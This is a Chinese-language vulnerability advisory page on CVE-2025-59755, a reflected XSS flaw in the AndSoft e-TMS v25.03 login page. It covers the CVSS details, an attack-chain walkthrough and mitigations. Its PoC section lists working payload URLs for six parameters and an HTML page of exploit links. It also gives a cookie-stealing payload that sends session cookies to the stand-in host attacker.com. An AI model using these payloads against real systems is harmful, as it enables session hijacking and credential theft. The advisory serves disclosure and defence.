IPBUF安全漏洞报告
English
CVE-2025-59755 CVSS 6.1 中危

CVE-2025-59755:AndSoft e-TMS 反射型XSS漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59755
漏洞类型
反射型跨站脚本(Reflected XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AndSoft e-TMS v25.03

相关标签

XSS反射型XSS跨站脚本CVE-2025-59755AndSofte-TMS运输管理系统Web漏洞中危漏洞INCIBE

漏洞概述

CVE-2025-59755是AndSoft公司开发的e-TMS(电子运输管理系统)v25.03版本中存在的一个反射型跨站脚本(XSS)漏洞。该漏洞由西班牙国家网络安全研究所(INCIBE)发现并报告,并于2025年10月2日正式公开披露。e-TMS是AndSoft公司提供的一款广泛应用于物流和运输行业的运输管理解决方案,用于管理运输订单、车辆调度、物流跟踪等业务。

该漏洞的CVSS 3.1评分为6.1分,属于中危级别。其CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N,表明该漏洞可通过网络进行远程利用,攻击复杂度低,无需特殊权限即可发起攻击,但需要受害者进行一定的交互(如点击恶意链接)。漏洞的影响范围涉及机密性和完整性的低级别影响,但可用性不受影响。

漏洞存在于e-TMS的登录页面'/clt/LOGINFRM_CAT.ASP'中,具体涉及多个URL参数,包括'l'、'demo'、'demo2'、'TNTLOGIN'、'UO'和'SuppConn'参数。攻击者可以通过构造包含恶意JavaScript代码的URL,诱使受害者点击该链接,从而在受害者的浏览器上下文中执行任意JavaScript代码。这种攻击方式通常用于窃取用户的会话凭证、劫持用户会话、进行钓鱼攻击或传播恶意软件。

技术细节

该漏洞是一个典型的反射型XSS漏洞,存在于AndSoft e-TMS v25.03的登录表单页面(/clt/LOGINFRM_CAT.ASP)中。漏洞的根本原因是应用程序在处理用户输入时缺乏充分的验证和过滤,导致用户通过URL参数提交的恶意JavaScript代码被直接嵌入到返回的HTML页面中,并在受害者浏览器中执行。

具体而言,以下六个参数存在XSS漏洞:
1. 'l' 参数
2. 'demo' 参数
3. 'demo2' 参数
4. 'TNTLOGIN' 参数
5. 'UO' 参数
6. 'SuppConn' 参数

这些参数的值在服务器端处理后未经适当的HTML实体编码或输出转义,直接反射回响应页面。攻击者可以构造类似如下的恶意URL:

http://target/clt/LOGINFRM_CAT.ASP?l=<script>alert(document.cookie)</script>

当受害者点击此类恶意链接时,嵌入的JavaScript代码将在受害者的浏览器上下文中执行。由于该漏洞无需认证即可利用(PR:N),攻击者只需要诱使已登录或具有有效会话的用户点击恶意链接即可成功实施攻击。攻击者可利用此漏洞窃取会话Cookie、劫持用户会话、进行钓鱼攻击,或在受害者浏览器中执行其他恶意操作。由于涉及供应链场景(Scope Changed, S:C),攻击的影响可能超出直接受影响的组件范围。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标组织使用AndSoft e-TMS v25.03系统,并通过侦察确认目标系统的登录页面位于'/clt/LOGINFRM_CAT.ASP'路径下。
STEP 2
步骤2:构造恶意URL
攻击者构造包含恶意JavaScript代码的URL,利用'l'、'demo'、'demo2'、'TNTLOGIN'、'UO'或'SuppConn'等存在漏洞的参数注入payload。
STEP 3
步骤3:投递恶意链接
攻击者通过钓鱼邮件、即时消息、社交媒体或其他社会工程学手段将恶意URL发送给目标用户,诱使其点击。
STEP 4
步骤4:触发XSS执行
受害者点击恶意链接后,浏览器向目标服务器发送请求,服务器将未经过滤的恶意脚本直接嵌入响应页面返回给浏览器。
STEP 5
步骤5:执行恶意操作
恶意JavaScript代码在受害者的浏览器上下文中执行,可用于窃取会话Cookie、劫持用户会话、进行钓鱼攻击或执行其他未授权操作。
STEP 6
步骤6:权限提升或数据窃取
攻击者利用窃取的会话凭证以受害者身份登录系统,访问敏感运输数据或执行管理操作,进一步扩大攻击影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-59755 - AndSoft e-TMS v25.03 Reflected XSS PoC --> <!-- Vulnerable endpoint: /clt/LOGINFRM_CAT.ASP --> <!-- Vulnerable parameters: l, demo, demo2, TNTLOGIN, UO, SuppConn --> <!-- Basic PoC URL examples (each parameter can be used independently): --> <!-- http://target/clt/LOGINFRM_CAT.ASP?l=<script>alert('XSS-via-l')</script> http://target/clt/LOGINFRM_CAT.ASP?demo=<script>alert('XSS-via-demo')</script> http://target/clt/LOGINFRM_CAT.ASP?demo2=<script>alert('XSS-via-demo2')</script> http://target/clt/LOGINFRM_CAT.ASP?TNTLOGIN=<script>alert('XSS-via-TNTLOGIN')</script> http://target/clt/LOGINFRM_CAT.ASP?UO=<script>alert('XSS-via-UO')</script> http://target/clt/LOGINFRM_CAT.ASP?SuppConn=<script>alert('XSS-via-SuppConn')</script> --> <!-- Cookie stealing PoC (replace 'attacker.com' with attacker's controlled server): --> <!-- http://target/clt/LOGINFRM_CAT.ASP?l=<script>document.location='http://attacker.com/steal?c='+document.cookie</script> --> <!-- HTML-based exploit page to deliver the malicious link: --> <html> <body> <h1>CVE-2025-59755 PoC - AndSoft e-TMS Reflected XSS</h1> <a href="http://target/clt/LOGINFRM_CAT.ASP?l=<script>alert(document.domain)</script>">Click here to test XSS via 'l' parameter</a><br> <a href="http://target/clt/LOGINFRM_CAT.ASP?demo=<script>alert(document.domain)</script>">Click here to test XSS via 'demo' parameter</a><br> <a href="http://target/clt/LOGINFRM_CAT.ASP?demo2=<script>alert(document.domain)</script>">Click here to test XSS via 'demo2' parameter</a><br> <a href="http://target/clt/LOGINFRM_CAT.ASP?TNTLOGIN=<script>alert(document.domain)</script>">Click here to test XSS via 'TNTLOGIN' parameter</a><br> <a href="http://target/clt/LOGINFRM_CAT.ASP?UO=<script>alert(document.domain)</script>">Click here to test XSS via 'UO' parameter</a><br> <a href="http://target/clt/LOGINFRM_CAT.ASP?SuppConn=<script>alert(document.domain)</script>">Click here to test XSS via 'SuppConn' parameter</a><br> </body> </html>

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施
在等待官方补丁发布期间,建议采取以下临时缓解措施:1)部署Web应用防火墙(WAF)规则,对包含<script>标签、onerror、onload等XSS特征的请求进行拦截;2)限制'/clt/LOGINFRM_CAT.ASP'页面的外部访问,仅允许可信网络访问;3)对用户进行安全意识培训,警惕可疑链接;4)监控异常的用户会话和登录行为;5)定期轮换会话凭证,降低会话劫持风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表